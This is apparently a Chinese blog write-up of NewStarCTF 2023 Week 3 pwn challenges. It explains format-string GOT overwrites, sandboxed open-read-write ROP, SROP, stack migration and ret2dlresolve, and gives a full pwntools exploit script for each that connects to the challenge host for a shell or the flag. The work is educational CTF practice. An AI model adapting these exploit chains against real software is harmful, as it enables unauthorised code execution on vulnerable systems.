NewStarCTF 2023 [WEEK 3] PWN
简介:
这周时间不是很充裕,没有来得及做,题目真的逐渐变难,很多不是很了解的知识点逐渐暴露,这些知识点理解起来也挺难的,慢慢来,别急,加油!!!
puts or system?
查看一下保护机制,打开了 canary 和 NX,还有一个点就是 RELRO(注意一下,因为这题需要修改 got 表),开启了部分说明 got,plt 可读可写,不懂的可以看(PWN PWN PWN !!! 技巧 (1))

ida 反汇编一下,看看伪代码,发现发生了溢出和格式字符串漏洞,还有一个重要的点就是 puts("/bin/sh"),我们肯定得想办法变成 system("/bin/sh"),这样的话就可以获得 shell,所以我们就可以用到 pwntools 里面的工具 fmtstr_payload 来把 puts 的 got 地址修改成 system 的地址,那我们就先通过 %s 的方法来泄露 libc 从而来获得 system 的地址,这样就可以获得 shell 了(这种泄露 libc 的方法可以记一下)


exp 如下:
from pwn import * context(arch='amd64', os='linux', log_level='debug')
p = remote('node4.buuoj.cn',26095) elf = ELF('./111') libc = ELF('./libc.so.6')
got_addr = elf.got['puts']
p.sendlineafter(b'(0/1)\n', b'1')
payload = b'%9$sAAAA' + p64(got_addr) p.send(payload) p.recvuntil(b'There is my gift:\n')
puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts'] sys_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.sendlineafter(b'(0/1)\n', b'1')
payload = fmtstr_payload(8, {got_addr: sys_addr})
p.sendlineafter(b'What\'s it\n', payload) p.interactive()
|
orw & rop
查看一下保护机制,跟上题一样的保护机制,根据题目就知道是开启了沙盒,不能使用 execve 调用,需要自己构造 orw 去获得 flag

ida 一下,发现有个沙盒,并且开辟了一块可读可写的区域 0x66660000,还发生格式字符串漏洞和栈溢出,可通过格式字符串漏洞,把 canary 和 libc 泄露出来,然后就是套 canary 的模板(可见 PWN PWN PWN !!! 技巧 (1))

运行程序,发现偏移为 6,并且 canary 为第 11 个参数,可通过 puts 函数来泄露 libc,然后就是通过寄存器把参数传进去,最后就可以直接构造 orw


exp 如下:
python复制编辑from pwn import * context(os="linux", arch="amd64", log_level="debug")
p = remote('node4.buuoj.cn',28531) elf = ELF('./111') libc = ELF('./libc.so.6')
got_addr = elf.got['puts']
payload = b'%11$p%8$saaaaaaa' + p64(got_addr) p.sendafter("sandbox\n", payload)
canary = int(p.recv(18),16) puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts'] ret = libc_base + 0x2a264 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx = libc_base + 0x90529 pop_rax = libc_base + 0x45eb0 read = libc_base + libc.sym['read']
payload = b'A'*0x28 + p64(canary) + p64(0) + p64(ret) \ + p64(pop_rdi) + p64(0) \ + p64(pop_rsi) + p64(0x66660000) \ + p64(pop_rdx) + p64(0x100) + p64(0) + p64(read) \ + p64(0x66660000)
p.send(payload)
orw_shellcode = shellcraft.open('./flag') orw_shellcode += shellcraft.read(3,0x66660200,0x100) orw_shellcode += shellcraft.write(1,0x66660200,0x100)
p.send(asm(orw_shellcode)) p.interactive()
|
srop
老规矩查看一下保护机制,只打开了 NX,并且是 full RELRO(got.plt 均不可读可写),不懂可看 PWN PWN PWN !!! 技巧 (1),srop 的方法可以套模板,利用系统调用号(可以看看这里 PWN PWN PWN !!! 技巧 (3))

ida 一下,发现发生了栈溢出,但溢出长度不够构造 rop,因此需要栈迁移。这类题目格式模板化,就是考察你 srop 的用法,套模板,注意一些参数就行,后续我会更新该题型模板,敬请期待!

exp 如下:
from pwn import* context(os="linux", arch="amd64", log_level="debug")
p = remote('node4.buuoj.cn',29475) elf = ELF('./111')
syscall = elf.plt['syscall'] rdi = 0x401203 lea = 0x401171 bss = 0x404050 + 0x500
p.recvuntil('welcome to srop!\n')
frame = SigreturnFrame() frame.rdi = 59 frame.rsi = bss - 0x30 frame.rdx = 0 frame.rcx = 0 frame.rsp = bss + 0x38 frame.rip = syscall
payload = b'a'*0x30 + flat(bss, lea) p.send(payload)
payload = b'/bin/sh\x00' + b'a'*0x30 + flat(rdi,15,syscall,frame) p.send(payload) p.interactive()
|
stack migration revenge
查看一下保护机制,打开了 NX

ida 反汇编,你会发现相较上一周的栈迁移题,这次需要自己构造迁移地点,难度上升一个档次,理解较难。我理解是在 read 地址写入 rop,再栈迁移到 bss 段,剩下套路。注意接收,这真的很坑,掉几次!☻☻☻

exp 如下:
from pwn import * context(os="linux", arch="amd64", log_level="debug")
p = remote('node4.buuoj.cn',26731) elf = ELF('./111') libc = ELF('./libc.so.6')
got_addr = elf.got["puts"] plt_addr = elf.plt["puts"] bss = elf.bss(0x700) rdi_addr = 0x4012b3 rbp_addr = 0x40115d leave_ret = 0x401227 ret_addr = 0x40101a read = 0x4011FF
p.recvuntil(b'just chat with me:\n') payload = b'a'*0x50 + p64(bss +0x50) + p64(read) p.send(payload) p.recvuntil(b'so funny\n')
payload = p64(rdi_addr) + p64(got_addr) + p64(plt_addr) payload += p64(rbp_addr) + p64(bss +0x800) + p64(read) payload = payload.ljust(0x50, b'\x00') + p64(bss -0x8) + p64(leave_ret) p.send(payload) p.recvuntil(b'so funny\n')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = puts_addr - libc.sym['puts'] sys_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload = p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) payload = payload.ljust(0x50, b'\x00') + p64(bss +0x800 -0x58) + p64(leave_ret) p.send(payload) p.interactive()
|
dlresolve
这题是 ret2dlresolve 的解法,在比赛中较少碰到,我第一次接触,原理还在理解中,先挂官方 WP:
from pwn import * from LibcSearcher import * context(os="linux", arch="amd64", log_level="debug")
p = remote('node4.buuoj.cn',27108) elf = ELF('./111') libc = ELF('./libc-2.31.so')
read_plt = elf.plt['read'] read_got = elf.got['read'] vuln_addr = 0x401170 plt0 = 0x401020 bss = 0x404040 bss_stage = bss + 0x100 l_addr = libc.sym['system'] - libc.sym['read']
pop_rdi = 0x000000000040115e pop_rsi = 0x000000000040116b plt_load = p64(plt0 + 6)
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap = p64(offset & (2 ** 64 - 1)) linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0) linkmap += p64(0) linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, read_got, l_addr)
payload = flat( b'a'*120, pop_rdi, 0, pop_rsi, bss_stage, read_plt, pop_rsi, 0, pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0 )
p.sendline(payload) p.send(fake_link_map) p.interactive()
|
总结:
这次题目确实上了一个档次,有些东西确实也不太好理解,慢慢来,积少成多,相同题型放一起总结,总会得出好的结论,就一句话:多做多总结,冲冲冲!!!